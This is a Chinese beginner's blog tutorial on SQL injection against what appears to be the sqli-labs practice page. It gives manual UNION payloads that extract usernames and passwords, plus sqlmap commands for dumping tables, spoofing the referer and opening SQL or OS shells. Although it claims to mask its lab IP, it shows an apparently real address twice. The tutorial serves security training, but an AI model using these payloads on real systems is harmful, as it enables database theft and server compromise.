零基础使用Sqlmap进行测试?你不得不掌握的基础知识
点赞后看,养成习惯
喜欢的话 可以点个关注哟
你们的点赞支持对博主们来说很重要哦 !!!
本文将针对以下问题逐条进行解答:
01 Sqlmap是用来干什么的?
02 手工注入测试SQL注入漏洞的过程?
03 使用Sqlmap测试SQL注入漏洞的过程?
04 使用Sqlmap有什么心得?
01 Sqlmap的用途
如果大家有听过SQL注入漏洞,那么简单来说,SQLmap便是自动化SQL注入漏洞工具。
Sqlmap是专门用于对付网站数据库的利器,不仅可以对数据库进行指纹识别、读取文件、提取数据等操作,在获取管理员权限情况下,甚至可以对数据库进行删库操作,为所欲为!
可能从以上的描述,大家还不能理解Sqlmap这个工具的厉害之处。
那么接下来,我就以同一个漏洞场景,分别从手工测试和Sqlmap工具层面进行测试,让大家见识见识Sqlmap的厉害。
(为安全起见,不公开搭建的靶场,以下测试环境中以xx.xx.xx.xx代替真实IP地址)
02 手工SQL注入漏洞
这里举一个SQL注入漏洞的栗子:
通过Union注入获取后台数据库的user表中对应的用户名及密码信息:
1.在疑似注入页面的网站:http://47.107.79.22:83/Less-1中,通过添加单引号判断是否存在注入点
http://xx.xx.xx.xx:83/Less-1/?id=1
http://xx.xx.xx.xx:83/Less-1/?id=1'
根据以上测试,发现数字1后添加单引号之后再次请求页面, 页面返回信息不同 初步判断存在SQL注入漏洞,且页面返回数据库信息的 , 针对性采用union注入攻击
2.判断该页面的字段数
http://xx.xx.xx.xx:83/Less-1/?id=1' order by 3 --
(注意:-- 两个横杠一个空格是mysql中的注释符,用于注释注入语句之后的语句)
http://xx.xx.xx.xx:83/Less-1/?id=1' order by 4 --
我们发现当输入字段数为3时,页面信息无误,而输入字段数为4时,页面返回信息出错。
因此我们判断页面字段数为3
3.查看页面回显点
http://xx.xx.xx.xx:83/Less-1/?id=-1' union select 1,2,3 --
(注意:这里要把1改成-1,原因是当用id=1的时候执行的结果只有一条记录,所以我们要让union左边的select子句查询结果为空,这样页面就会回显union右边的查询结果)
观察页面,2,3数字位置为回显点,我们可以通过该回显点来获取数据库名、数据表名等关键信息
4.查看数据库
http://xx.xx.xx.xx:83/Less-1/?id=-1' union select 1,2,database() --
我们获取到数据库名为:security
之所以我们能够查询到数据库名,是因为mysql数据库的特殊性。
在mysql数据库中,information_schema是系统数据库,安装完就有,记录内容是当前数据库的数据库,表,列,用户权限等信息,以下是该数据库中的三张数据表:
表名 | 含义 |
---|---|
SCHEMATA表 | 储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。 |
TABLES表* | 储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表 |
COLUMNS表 | 提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。 |
5.查看数据表
http://xx.xx.xx.xx:83/Less-1/?id=-1' union select 1,2,(select table_name from information_schema.tables where table_schema = 'security' limit 3,1) --
我们得知有个数据表名是users。
6.查看对应数据
http://xx.xx.xx.xx:83/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users --
以上测试用到的函数:
函数 | 作用 |
---|---|
concat_ws() | 从数据库里取N个字段,然后组合到一起用符号分割显示,第一个参数剩余参数间的分隔符 |
char() | 将十进制ASCII码转化成字符 |
user() | 返回当前数据库连接使用的用户 |
database() | 返回当前数据库连接使用的数据库 |
version() | 返回当前数据库的版本 |
03 使用Sqlmap的方法
一般情况下,我们利用该工具的思路如下:
1)寻找一个可能有SQL注入漏洞的网址
http://47.107.79.22:83/Less-1/?id=1
2)使用SQLmap,-u参数检测是否存在注入漏洞( 如果网址存在多个参数,这个网址要用双引号包起来)
sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1
检测的时候出现的三个问题分别是:
1、已检测出可能是某某某数据库,是否跳过其他数据库的检查
2、是否启用对于某某某数据库的所有负载测试<br>
3、已知某参数可能存在注入,是否还有检测其他参数
3)–dbs参数 查看数据库
sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 --dbs
4)–tables参数 查看数据表
sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 -D security --tables
4)–columns参数 查看数据列
sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 -D security -T users --columns
5)–dump参数 查看具体内容
sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 -D security -T users --dump
注明:为了加强我们检测的力度,每次使用的时候可以使用高等级检测,和伪造referer
即每次都加上
–level 5 --referer http://baidu.com
sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 -D security -T users --dump --level 5 --referer http://baidu.com
6)在获知数据库名、数据表名、列名的情况下,我们还可以使用自定义SQL语句参数为 --sql-shell
sqlmap -u http://xx.xx.xx.xx:83/Less-1/?id=1 --sql-shell
这里以查询user数据包的所有数据举例
检索结果如下:
除此之外,我们还可以通过数据库来进行系统命令注入,
参数为 --os-shell,这个大家自行尝试
04 简单小结
通过上述手工测试和工具测试的例子,相信大家可以了解到:相较于繁琐复杂的手工SQL注入测试,Sqlmap像是给猫插上了翅膀一般,理解一些主要关键字的用法即可上手。
所以当你遇到可能的SQL注入场景,都可以先来Sqlmap来遛一遛,说不定就有惊喜等着你。
当然,虽说不管白猫黑猫,能抓到耗子的就是好猫。Sqlmap工具在效率上显然是占据优势的,但其也存在其局限性,在某些特定场合并不吃香。而手工注入永远你"最后的武器",希望大家平时也勤加练习。
最后,如果本文对你有所帮助,希望可以点个赞支持一下。你们的鼓励将会是博主原创的动力。
- 点赞
- 收藏
- 关注作者
评论(0)